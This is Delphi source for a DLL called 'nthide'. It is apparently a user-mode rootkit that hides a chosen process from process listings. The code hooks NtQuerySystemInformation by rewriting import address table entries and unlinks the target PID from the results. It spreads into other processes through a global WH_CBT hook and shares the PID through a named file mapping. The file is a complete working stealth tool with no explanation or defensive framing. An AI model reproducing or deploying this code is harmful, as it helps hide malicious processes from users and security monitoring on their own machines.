library nthide;

uses
Windows,
ImageHlp,
TlHelp32;

type SYSTEM_INFORMATION_CLASS = (
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemNotImplemented1,
SystemProcessesAndThreadsInformation,
SystemCallCounts,
SystemConfigurationInformation,
SystemProcessorTimes,
SystemGlobalFlag,
SystemNotImplemented2,
SystemModuleInformation,
SystemLockInformation,
SystemNotImplemented3,
SystemNotImplemented4,
SystemNotImplemented5,
SystemHandleInformation,
SystemObjectInformation,
SystemPagefileInformation,
SystemInstructionEmulationCounts,
SystemInvalidInfoClass1,
SystemCacheInformation,
SystemPoolTagInformation,

[separator]

SystemProcessorStatistics,
SystemDpcInformation,
SystemNotImplemented6,
SystemLoadImage,
SystemUnloadImage,
SystemTimeAdjustment,
SystemNotImplemented7,
SystemNotImplemented8,
SystemNotImplemented9,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemLoadAndCallImage,
SystemPrioritySeparation,
SystemNotImplemented10,
SystemNotImplemented11,
SystemInvalidInfoClass2,
SystemInvalidInfoClass3,
SystemTimeZoneInformation,
SystemLookasideInformation,
SystemSetTimeSlipEvent,
SystemCreateSession,
SystemDeleteSession,
SystemInvalidInfoClass4,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemAddVerifier,
SystemSessionProcessesInformation
);

_IMAGE_IMPORT_DESCRIPTOR = packed record
case integer of
0:(Characteristics: DWORD);
1:(OriginalFirstThunk:DWORD; TimeDateStamp:DWORD; ForwarderChain: DWORD; Name: DWORD; FirstThunk: DWORD);
end;
IMAGE_IMPORT_DESCRIPTOR=_IMAGE_IMPORT_DESCRIPTOR;
PIMAGE_IMPORT_DESCRIPTOR=^IMAGE_IMPORT_DESCRIPTOR;

PFARPROC=^FARPROC;

procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule);
var
ulSize: ULONG;
pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;
pszModName: PChar;
pThunk: PDWORD; ppfn:PFARPROC;
ffound: LongBool;
written: DWORD;
begin
pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
if pImportDesc = nil then
exit;
while pImportDesc.Name <> 0 do begin
pszModName := PChar(hmodCaller + pImportDesc.Name);
if (lstrcmpiA(pszModName, pszCallerModName) = 0) then
break;
Inc(pImportDesc);
end;
if (pImportDesc.Name = 0) then
exit;
pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
while pThunk^ <> 0 do begin
ppfn := PFARPROC(pThunk);
fFound := (ppfn^ = pfnCurrent);
if (fFound) then begin
VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXECUTE_READWRITE,written);
WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written);
exit;
end;
Inc(pThunk);
end;
end;

var
addr_NtQuerySystemInformation: Pointer;
mypid: DWORD;
fname: PCHAR;
mapaddr: PDWORD;
hideOnlyTaskMan: PBOOL;

function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer;
SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall;
label onceagain, getnextpidstruct, quit, fillzero;
asm
push ReturnLength
push SystemInformationLength
push SystemInformation
push dword ptr SystemInformationClass
call dword ptr [addr_NtQuerySystemInformation]
or eax,eax
jl quit
cmp SystemInformationClass, SystemProcessesAndThreadsInformation
jne quit

onceagain:
mov esi, SystemInformation

getnextpidstruct:
mov ebx, esi
cmp dword ptr [esi],0
je quit
add esi, [esi]
mov ecx, [esi+44h]
cmp ecx, mypid
jne getnextpidstruct
mov edx, [esi]
test edx, edx
je fillzero
add [ebx], edx
jmp onceagain

fillzero:
and [ebx], edx
jmp onceagain

quit:
mov Result, eax
end;

procedure InterceptFunctions;
var
hSnapShot: THandle;
me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
if hSnapshot=INVALID_HANDLE_VALUE then
exit;
try
ZeroMemory(@me32,sizeof(MODULEENTRY32));
me32.dwSize:=sizeof(MODULEENTRY32);
Module32First(hSnapShot,me32);
repeat
ReplaceIATEntryInOneMod('ntdll.dll',addr_NtQuerySystemInformation,@MyNtQuerySystemInfo,me32.hModule);
until not Module32Next(hSnapShot,me32);
finally
CloseHandle(hSnapShot);
end;
end;

procedure UninterceptFunctions;
var
hSnapShot: THandle;
me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
if hSnapshot=INVALID_HANDLE_VALUE then exit;
try
ZeroMemory(@me32,sizeof(MODULEENTRY32));
me32.dwSize:=sizeof(MODULEENTRY32);
Module32First(hSnapShot,me32);
repeat
ReplaceIATEntryInOneMod('ntdll.dll',@MyNtQuerySystemInfo,addr_NtQuerySystemInformation,me32.hModule);
until not Module32Next(hSnapShot,me32);
finally
CloseHandle(hSnapShot);
end;
end;

var HookHandle: THandle;

function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall;
begin
Result:=0;
end;

procedure InstallHook; stdcall;
begin
HookHandle := SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;

var hFirstMapHandle:THandle;

procedure HideProcess(pid:DWORD); stdcall;
var
addrMap: PDWORD;
ptr2: PBOOL;
begin
mypid:=0;
hFirstMapHandle:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,8,'NtHideFileMapping');
if hFirstMapHandle=0 then
exit;
addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WRITE,0,0,8);
if addrMap=nil then begin
CloseHandle(hFirstMapHandle);
exit;
end;
addrMap^:=pid;
ptr2:=PBOOL(DWORD(addrMap)+4);
ptr2^:= false;
UnmapViewOfFile(addrMap);
InstallHook;
end;

exports
HideProcess;

var
hmap: THandle;

procedure LibraryProc(Reason: Integer);
begin
if Reason = DLL_PROCESS_DETACH then
if mypid > 0 then
UninterceptFunctions()
else
CloseHandle(hFirstMapHandle);
end;

function ExtractFileName(APath:string): string;
var
LI,LJ: Integer;
begin
if Length(APath)<>0 then begin
LJ:=0;
for LI:=Length(APath) downto 1 do
if APath[LI]='\' then begin
LJ:=LI;
Break;
end;
Result:=Copy(APath,LJ+1,MaxInt);
end
else
Result := '';
end;

function AllocMem(Size: Cardinal): Pointer;
begin
GetMem(Result, Size);
FillChar(Result^, Size, 0);
end;

begin
hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideFileMapping');
if hmap=0 then
exit;
try
mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0);
if mapaddr=nil then
exit;
mypid:=mapaddr^;
hideOnlyTaskMan:=PBOOL(DWORD(mapaddr)+4);
if hideOnlyTaskMan^ then begin
fname:=allocMem(MAX_PATH+1);
GetModuleFileName(GetModuleHandle(nil),fname,MAX_PATH+1);
if not (ExtractFileName(fname)='taskmgr.exe') then
exit;
end;
InterceptFunctions;
finally
UnmapViewOfFile(mapaddr);
CloseHandle(Hmap);
DLLProc:=@LibraryProc;
end;
end.